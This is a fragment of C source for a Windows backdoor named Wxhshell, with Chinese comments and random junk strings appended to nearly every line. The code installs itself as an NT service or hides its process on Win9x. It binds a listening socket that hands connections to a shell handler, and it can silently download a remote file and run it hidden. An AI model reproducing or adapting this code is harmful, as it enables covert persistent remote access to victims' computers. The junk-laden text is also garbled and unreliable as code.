DWORD AffinityMask; X:/7#fcG8
DWORD BasePriority; o
zMn8@R
ULONG UniqueProcessId; uhm3}mWv
ULONG InheritedFromUniqueProcessId; [w*]\x'S
} PROCESS_BASIC_INFORMATION; m;JB=MZ=m
ei82pLM
z
PROCNTQSIP NtQueryInformationProcess; C"0vMUZ
kXgc'w6EhF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zEKVyZd*{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;lQ>>[*
cX#U_U~d
HANDLE hProcess; C)mR~Ey
PROCESS_BASIC_INFORMATION pbi; aF{1V\e
>rYkVlv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6VtN4c.Q
if(NULL == hInst ) return 0; )&$mFwf
)!lx'>0>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2@!B;6*8q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %l3f .
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vawS5b;
]m :Y|,:6
if (!NtQueryInformationProcess) return 0; hs*n?vxp3
vO)]~AiB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X>i{288M3
if(!hProcess) return 0; wg4Ol*y'
iEx4va-j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RB9ZaL\
tpa<)\7KJ
CloseHandle(hProcess); MnP+L'|
} J`cRDO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Js&.p9S2
if(hProcess==NULL) return 0; i}O.,iH
D?G'1+RIT~
HMODULE hMod; +q%b'!&Q
char procName[255]; I9<%fv
unsigned long cbNeeded; r&_e3#]*
HLC I
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ? ph>:M
ZA \;9M=
CloseHandle(hProcess); rYM@e
8v)iOPmDC
if(strstr(procName,"services")) return 1; // 以服务启动 iikMz|:7U
3N|6?'m
return 0; // 注册表启动 ledr[)
} N R4\TU
K
V
// 主模块 Oamz>Hplu
int StartWxhshell(LPSTR lpCmdLine) ]ms+Va_/
{ L6;'V5Mg72
SOCKET wsl; *"4l}&
BOOL val=TRUE; p=zTY7L
int port=0; 0IP0zil
struct sockaddr_in door; pd& HC
7!m<d,]N
if(wscfg.ws_autoins) Install(); 9L4;#cy
A=e1uBGA
port=atoi(lpCmdLine); xS+xUi
7M5HvG#w%
if(port<=0) port=wscfg.ws_port; ?:l:fS0:{
2bw.mp&v1
WSADATA data; o54=^@>O<j
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l
6aD3?8LN
M\7F1\ X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /7-FVqDx8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mQK3YoC)
door.sin_family = AF_INET; m YhDi
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1gLET.I:
door.sin_port = htons(port); jHx\YK@e\
2B_+5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -KqMSf&9
closesocket(wsl); ~ntDzF
return 1; /6y;fx
} P(LiH
.9<euPrz
if(listen(wsl,2) == INVALID_SOCKET) { Qv8 =CnuOT
closesocket(wsl); R+Ug;r-[
return 1; HisH\z/i5)
} U\[b qw
Wxhshell(wsl); )cm^;(#pV
WSACleanup(); jd}~#:FUr*
nD=N MqQ &
return 0; <DEu]-'>
1Z_ H%(
} H*",'`|-
1XHE:0!dQ
// 以NT服务方式启动 }0OQm?xh
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5/HkhTyj
{ _) UnHp_^
DWORD status = 0; w+XwPpM0.n
DWORD specificError = 0xfffffff; Z)}2bJwA
W/%9=g$m
serviceStatus.dwServiceType = SERVICE_WIN32; RXO5pd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }=u#,nDl>$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KJt6d`ZN
serviceStatus.dwWin32ExitCode = 0; Lu4>C 2{
serviceStatus.dwServiceSpecificExitCode = 0; o9OCgP`Y
serviceStatus.dwCheckPoint = 0;
M{YN^
Kk
serviceStatus.dwWaitHint = 0; Xpfw2;`U'
^ Qxv5HS2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ++=jh6
if (hServiceStatusHandle==0) return; FY/F}C,o
i\o * =+{r
status = GetLastError(); n6C!5zq7U
if (status!=NO_ERROR) <s'0<e!./t
{ vxrqUjK7
serviceStatus.dwCurrentState = SERVICE_STOPPED; l}D /1~d
serviceStatus.dwCheckPoint = 0; `9acR>00$
serviceStatus.dwWaitHint = 0; KfQR(e9n
serviceStatus.dwWin32ExitCode = status; q/qig5Ou
serviceStatus.dwServiceSpecificExitCode = specificError; "2PT]!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*AXd=)"*
return; fC$@m_-KD
} *lQa^F
BUyKiMW 49
serviceStatus.dwCurrentState = SERVICE_RUNNING; wv Mp~
serviceStatus.dwCheckPoint = 0; &/g^J\ 0M)
serviceStatus.dwWaitHint = 0; 1*trtb4F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6<f(Zv? I
} vXG?8Q
t8*NldC
// 处理NT服务事件,比如:启动、停止 !mUO/6Q hq
VOID WINAPI NTServiceHandler(DWORD fdwControl) pB7^l|\]
{ =RQI5nHdw
switch(fdwControl) mo&9=TaG
{ d *#.(C9^
case SERVICE_CONTROL_STOP: SEH[6W3
serviceStatus.dwWin32ExitCode = 0; |AS<I4+&
serviceStatus.dwCurrentState = SERVICE_STOPPED; >G As&\4hs
serviceStatus.dwCheckPoint = 0; g1Osd7\o
serviceStatus.dwWaitHint = 0; 'c3'eJ0
{ z:u)@>6D1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Io#440;
} 1Afy$It/{
return; Ep3I*bQ
Y
case SERVICE_CONTROL_PAUSE: > iYdr/^a
serviceStatus.dwCurrentState = SERVICE_PAUSED; uJ0Wb$%
break; >=.3Vydi1
case SERVICE_CONTROL_CONTINUE: %al
5 {
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^1_CS*
break; %OP|%^2
case SERVICE_CONTROL_INTERROGATE: c6SXz%'k
break; 6Xbf3So
}; Np/vPaAk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-~`Ao'
<
} 6;;2e> e
0?O_]SD
// 标准应用程序主函数 9mjJC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h.NCG96S
{ ):y^g:
[ 6Sk>j
// 获取操作系统版本 \C4wWh-A
OsIsNt=GetOsVer();
7NnXt'
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,LDL%<7t
e>bARK<
// 从命令行安装 }w8yYI
if(strpbrk(lpCmdLine,"iI")) Install(); w^,Xa
Bx6,U4o*
// 下载执行文件 1aUg({
if(wscfg.ws_downexe) { }>V=J aG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MH0wpHz
WinExec(wscfg.ws_filenam,SW_HIDE); wSPmiJ/!
} {L [
M0OIcMTv
if(!OsIsNt) { VN'\c3;
// 如果时win9x,隐藏进程并且设置为注册表启动 (@;^uVJP
HideProc(); G5 RdytK
StartWxhshell(lpCmdLine); iSg0X8J)
} ,t:P
else 7>0u
N|
if(StartFromService()) '?g&);4)k-
// 以服务方式启动 uh \Tf5
StartServiceCtrlDispatcher(DispatchTable); uX]]wj-R3
else ^7Z;=]8J
// 普通方式启动 w0vsdM;G
StartWxhshell(lpCmdLine); 0WYu5|
4:pgZz!
return 0; VJ_fA}U
}